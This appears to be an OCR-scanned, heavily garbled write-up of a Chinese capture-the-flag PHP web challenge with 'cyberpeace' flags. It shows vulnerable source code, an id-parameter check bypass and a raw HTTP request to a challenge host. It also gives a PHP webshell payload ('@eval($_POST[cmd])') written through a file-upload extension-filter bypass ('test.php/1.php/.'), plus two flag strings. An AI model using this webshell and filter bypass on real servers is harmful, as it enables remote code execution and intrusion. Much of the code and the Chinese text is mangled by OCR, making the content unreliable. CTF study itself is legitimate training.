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<html>
<head>

{meta charset="utf-8" />
</head>
<body>

<?php

$rlag="cyberpeace {7T5cc2a3aZbdc5fccbed3c6r1169501e9}) 7 ;
2>

</body>
</html>
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<?php
if

(§_SESSION[ admin’ 1)
$con = $_POST[ con’ ]:
§file = $_POST[ rfile' J;

$filename = “backup/”. $file;

if{preg match(’ /. +\.ph(p[3457]7

t|tml}§/17,

die("Bad file

. Y
extension J;

§filename)) {

telse{
chdir (" uploaded’) ;
3 =
fwrite ($f,
fclose (§5) ;

H]

fopen($filename, w )

$con) ;
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if (isset($_GET[id]) && floatval($ GET[idl) !== "1 && substr($ _GET[idl, -1 = "¢

inclu config. php' ;
$id = mysql_real_escape_string(§_GET[id]);
$sql="select * from cetc007.user where id="%id"";:

$result = mysql_guery($sql);

$result = mysql_fetch cbject(§result);
else |

Sresult = False,

diel) ;
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con=<tphp @ewal (§_POST [cmd]) ; 728file=te=t. php /1. php/. .

Index of /uploaded/backup

Name Last modified Size Description

Parent Directory -
test.ph 2019-09-07 10:16 27
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I layu B configphp 2018-11-12 D4:23:47 219 b 0755

2019-09-06 07:53:16 144 b 0755

@ ndex.html 2018-11-12 D4:23:47 5.47 Kb 0755

[ ndexphp 2018-11-12 04:23:47 2.72 Kb 0755

E togo.png 2018-11-12 B4:23:47 17.45 Kb 0755

@ view-source.php 2018-11-12 B4:23:47 1.62 Kb 0755

& WEpng H016-11-13 (42347 LAT Wb 0785

i (var/www/html/flag.php

4

<html>

<head:>
<meta charset="utf-8" /»

</head>

<body>
<?php

$flag="cyberpeace{8bb83e66a5e4f7169fb547addbco684a}";

»

</body>

</html>

4

[T o BN (R W I - WY N I
4

o
= @

HERMRTENE, FANROXTIRARFGHE, ZREA L, REIFL 111!

(<))



#FidnE, TLLHF, floatval (§_GET[id]) !'= '1' &&
substr($_GET[id], -1) === "9’
EHi el #Eid=1, 9 (XEFFFELHFAD
« ERETEEEPDL
EHTA
ME &

WEID

Submit Quary
view-source id: lname:admin

HHERREMLF T $5_SESSION[admin] = True
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<?php
if ($_SESSION['admin']) {
$con = $_POST[‘con'];
$file = $_POST['file'];
$filename = "backup/".3file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$s1", $Filename)){
die{"Bad file extension");
lelsef
chdir{ uploaded');
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f’ilename: "back ” file
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POST findex.phpT?page=186id=1, 9 HTTP/1.1

Host: 111.198 29 _45:-40616

User-Agent: Mozillas3.@ (X11; Linux xB6_B4; rv:68.8) Gecko/201808101 Firefox/66.0
Accept: text/html, spplication/=htalexal application/xsl q=0.9 */* q=0.8
Accept-Language: zh en-US;qg=0.7 en;q=0_3

Accept-Enceding: gzip, deflate

Referer: http://111.198.29. 45:40616/ index. php?page=flag. php
Content-Type: application/w-wew- form-urlencoded

Content-Langth: 74

Cookie: PHPSESSID=rruBacplcucBeulhllldpTags3

Connection: close

Upgrade-Insecure-Requests: 1
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<head”
‘meta charset="utf-8" />

fhead>
body?
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